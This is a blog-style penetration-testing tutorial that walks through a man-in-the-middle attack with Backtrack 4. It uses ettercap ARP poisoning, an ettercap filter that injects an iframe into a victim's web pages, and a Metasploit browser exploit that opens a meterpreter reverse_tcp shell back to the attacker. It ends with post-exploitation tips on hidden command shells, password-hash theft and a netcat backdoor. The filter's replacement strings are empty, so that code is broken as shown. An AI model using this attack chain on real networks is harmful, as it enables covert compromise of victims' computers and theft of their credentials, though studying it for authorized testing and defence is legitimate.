The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used and their meaning.
This is by no means an all encompassing tutorial for using Backtrack during security\penetration testing. If you do not have a basic understanding of what Backtrack is or how it isued I suggest you read some info about it here: http://www.backtrack-linux.org/about/ . This post is mainly to provide the readers with an overview of a common attack vector, using what I consider to be the “swiss army knife” of IT security tools.
The instructions contained below are provided for informational\educational purposes only and should only be used on networks that you control, or have permission to utilize.
Most of the techniques described here have been documented separately or similarly on other websites\blog posts. I will post a list of references at the end for further review, and to give credit where credit is due.
Let’s look at an overview of the attack scenario:
Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network. The target’s IP and operating has already been discovered, as well as the gateway IP address. Our computer, the target as well as the gateway are all on the same subnet. The target is a patched Windows XP machine running SP3 and IE8. We will use Backtrack 4 final release, and the Metasploit framework version 3.
The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.
The network traffic, specifically the Web pages browsed by the target will be intercepted by our computer, and an iframe will be injected into all of the web pages viewed. This iframe will point back to our computer which will be hosting a web page with a malicious payload (via the Metasploit framework).
When the user browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser. The end result will be admin\root access to the targets computer, via a meterpreter session.
Section 1: Prepare Backtrack
If you are already familiar with Backtrack you can skip this section. This is simply the steps required for preparing Backtrack after initial live boot.
Open a terminal session and type /usr/bin/start-network This command enables the networking on Backtrack
Now we need to update Metasploit. In a terminal type cd /pentest/exploit/framework3
This brings us to the Metasploit directory. Type in svn update. At the prompt type y.
This will update the Metasploit framework with the latest modules.
Now we need to enable IP forwarding using iptables
Enter echo 1 > /proc/sys/net/ipv4/ip_forward into a terminal window
Lastly we’ll ensure ip forwarding is enabled in ettercap
We need to edit the etter.conf file. However you choose to do that is up to you, I use VI. A VI tutorial is beyond the scope of this post. I suggest you check out the security researchers’ best friend: Google if you need help with VI. Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu.
The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.
We need to make 3 changes in etter.conf:
ec-uid = 0
ec_guid = 0
uncomment the redir_command_on and redir_command_off sections below the “if you use iptables” section of etter.conf
Section 2: Prepare Ettercap filter
Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets. When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine.
Enter this data into a text file using your favorite text editor and save it as iframe.txt:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“”, “”);
msg(“iframe Filter Ran.\n”);
}
The above filter will put our iframe right before the closing body tag in most web sites.
Now from aterminal and in the same directory where you saved iframe.txt enter ettefilter iframe.txt –o iframe.ef.
This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.
A success message would look like this: Script encoded into 15 instructions.
Section 3: Launch Metasploit
From the /pentest/exploit/framework3directory launch the Metasploit console with this command msfconsole
You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec
Metasploit commands:
Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
Set PAYLOAD windows/meterpreter/reverse_tcp
Set LHOST youripaddress
Set SRVHOST youripaddress
Set SRVPORT 80
Exploit
Section 4: Launch Ettercap for MITM attack
Now that all of the different prereqs for the attack have been prepared we can launch ettercap
Enter the following command into a terminal window (replace underlined items with the correct name in your environment): ettercap –i wlan –F iframe.ef –TQM arp:remote /targetip/ /gatewayip/ -P autoadd
The –i witch specifies interface, you only need it if you have multiple interfaces. If you have only one you can omit. –F is specifying the filter to use. T= text mode, Q=quiet M=MITM attack.
You may see only one of the addresses is added to an ettercap group. This is not uncommon with wireless clients. Both the gateway and target need to show up in one of the groups. You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target. The choice is yours.
Once ettercap is running open up IE on your target and browse somewhere, I used test.com. You should see the “iframe filter run” message on your Backtrack box.
You should also see the exploit initiate on the Metasploit terminal. On your victim box a message will pop up. If oyu click allow the exploit will run.
You should then see a meterpreter session initiated on your Backtrack computer.
You can hit CTRL+C then type sessions –i 1 (that’s a number 1) to interact with the meterpreter session.
You’ve compromised the box! You can now do things like drop to a command shell on the target by entering shell into meterpreter. Or, if you want to be surreptitious you could enter execute –F cmd.exe –i –H –c. there are many things you can do with a successful meterpreter session setup. You can upload\download files, grab password hashes, send over a secure back door program like netcat, edit the registry… really whatever you want to do.
I hope you’ve found this post helpful, and will use it as a catalyst for more research to the kinds of things you can do with Backtrack and metasploit.
References
http://www.irongeek.com/i.php?page=security/ettercapfilter
http://www.backtrack-linux.org/
http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html
http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/
http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html
